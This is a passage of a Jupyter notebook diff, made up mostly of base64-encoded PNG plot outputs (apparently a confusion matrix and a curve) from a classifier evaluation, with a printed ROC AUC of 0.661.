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",
+ "text/plain": [
+ ""
+ ]
+ },
+ "metadata": {
+ "needs_background": "light"
+ },
+ "output_type": "display_data"
+ },
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "ROC AUC: 0.661\n"
+ ]
+ },
+ {
+ "data": {
+ "image/png": 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BXr0yG49UTOvWraNBgwZKEpI2ZkaDBg1KvRdb6RLFe+/BJZeE5fvvj5cOF0kFJQlJt1T8zlWqRPH553D22bBpE9x6K1x/faYjEhEp+ypNovj2WzjttFAu/Cv+wXoAABHCSURBVKqrwkC2SEVXtWpVOnToQLt27Tj11FNZtmxZ/r7JkyfTrVs39t9/f1q2bMndd9+Nu+fv/+ijj8jKyqJNmzZ07NiR68vgX1bff/89l5bhywLr16+nd+/etGjRgi5dujB79uxi2y1btoxevXrRqlUrWrduzddff52/b8CAAbRq1Yq2bdvyl7/8BYCJEydy8cUXp+EniLh7uXp16tTJt9akSe677OIO7uee675p01YfQmSrTZkyJdMheO3atfOXL7zwQr/nnnvc3X3NmjXevHlzHzp0qLu7r1692k844QR/7LHH3N194sSJ3rx5c586daq7u+fm5voTTzxRqrFt3Lhxu4/Rq1cvHz9+fFo/c2s8/vjjfsUVV7i7+2uvveZnn312se0uvPBCf/bZZ93dff369b506VJ3d//888+9e/fuvm7dOnd3/+WXX/Lf0717d//555+LPV5xv3tAtm/j927Gv/i39rW1iWLmTPc99gg/6SmnuG/YsFVvF9lmBf9nDU/tlP6rJAUTxZNPPulXXnmlu7s/99xzfsEFFxRqO2PGDG/SpIm7u19wwQX+/PPPl3j8lStX+sUXX+zt2rXzAw44wAcPHrzZ57711lt+0UUXubv7RRdd5FdccYV37tzZr732Wt97773zvxTd3Vu0aOELFy70RYsWec+ePT0rK8uzsrJ81KhRm332ihUrfL/99stf/+abb/yQQw7xDh06eNeuXf3HH390d/d///vffuqpp/oxxxzjRx55pK9atcr79u3rBx98sHfo0MHfffddd3efNWuWH3744d6xY0fv2LGjjx49usSfvyTHHXecf/XVV+4eklSDBg08Ly+vUJtly5Z5s2bNNtvu7n7WWWf5p59+WuyxH374Yf/nP/9Z7L7SThQV+vbYBQtCufD58+Goo1QuXCqvTZs28dlnn+Vfppk8eTKdOnUq1Gbfffdl1apVrFixgkmTJiV1qenuu++mfv36TJw4EYClS5eW+J6cnBy++uorqlatyqZNm3jnnXfo27cv33zzDXvvvTe77bYb5557Ltdeey2HH344c+bM4fjjj2fq1KmFjpOdnU27du3y11u1asXIkSOpVq0aw4YN45ZbbuHtt98G4LvvvmPChAnssssu3HLLLXTr1o0XXniBZcuW0blzZ3r06MGuu+7Kp59+Ss2aNfnpp5/o06cP2dnZm8V/xBFHsHLlys2233///fTo0aPQtnnz5tG0aVMAqlWrRv369VmyZAkNCxSSmzVrFo0aNaJv37788MMPdOrUiUceeYTatWszffp0Ro4cya233krNmjW5//77OfjggwHIysqif//++ZejUqnCJopYufCZM6FTp1AuvFatTEcllZV7yW1SYe3atXTo0IF58+bRunVrji3lB4aGDRvG66+/nr++8847l/ies846i6pVqwLQu3dv7rrrLvr27cvrr79O79698487ZcqU/PesWLGCVatWUadOnfxtCxYsoFGjRvnry5cv56KLLuKnn37CzNi4cWP+vmOPPZZddtkFgE8++YQhQ4Zw//33A+E25jlz5rDHHnvQr18/xo8fT9WqVZk+fXqx8Y8cObLEn3Fr5Obm8t133zFgwAC6dOnCNddcQ//+/bn77rvJzc3lt99+Y8yYMYwdO5azzz6bmTNnYmbsuuuuzJ8/v1Rj2ZIKOZi9ahWcfHKYyrRVK/j4Y6hXL9NRiaRfrVq1GD9+PD///DPuzuOPPw5AmzZtGDduXKG2M2fOpE6dOtSrV4+2bdtutn9rFLxFs+g9/bVr185f7tq1KzNmzGDx4sW8++679OzZE4C8vDzGjBnD+PHjGT9+PPPmzSuUJGI/W8Fj33777RxzzDFMmjSJ999/v9C+gp/p7rz99tv5x54zZw6tW7fmoYceYrfdduOHH34gOzubDRs2FPuzHXHEEXTo0GGz17BhwzZru+eeezJ37lwgJITly5fToEGDQm2aNGlCkyZN6NKlCwC9evXiu+++y9/Xs2dPzIzOnTtTpUoVfv311/zzWitNf/1WuESxfj307AljxoRy4Z9+qnLhIjvuuCOPPvooDzzwALm5uZx33nmMGjUq/8tt7dq1/OlPf8q/jHHjjTdy77335v9VnZeXx1NPPbXZcY899tj85APxS0+77bYbU6dOJS8vj3feeWeLcZkZZ555Jtdddx2tW7fO/xI97rjjGDBgQH678ePHb/be1q1bM2PGjPz15cuXs+eeewIwcODALX7m8ccfz4ABA8IgLeHOqdj7GzduTJUqVXjppZfYtGlTse8fOXJkfpIp+Cp62QngtNNOY9CgQQAMHjyYbt26bfacw+67707Tpk2ZNm0aAJ999hlt2rQB4IwzzmD48OEATJ8+nQ0bNuRftpo+fXqhS2+pVKESRW4unHtuSA677hr+VblwkaBjx460b9+e1157jVq1avHee+9xzz33sP/++3PAAQdw8MEH069fPwDat2/Pww8/TJ8+fWjdujXt2rVj5syZmx3ztttuY+nSpbRr144DDzww/0utf//+nHLKKRx66KE0btw4YVy9e/fm5Zdfzr/sBPDoo4+SnZ1N+/btadOmTbFJqlWrVixfvjx/vOAvf/kLN998Mx07diQ3N3eLn3f77bezceNG2rdvT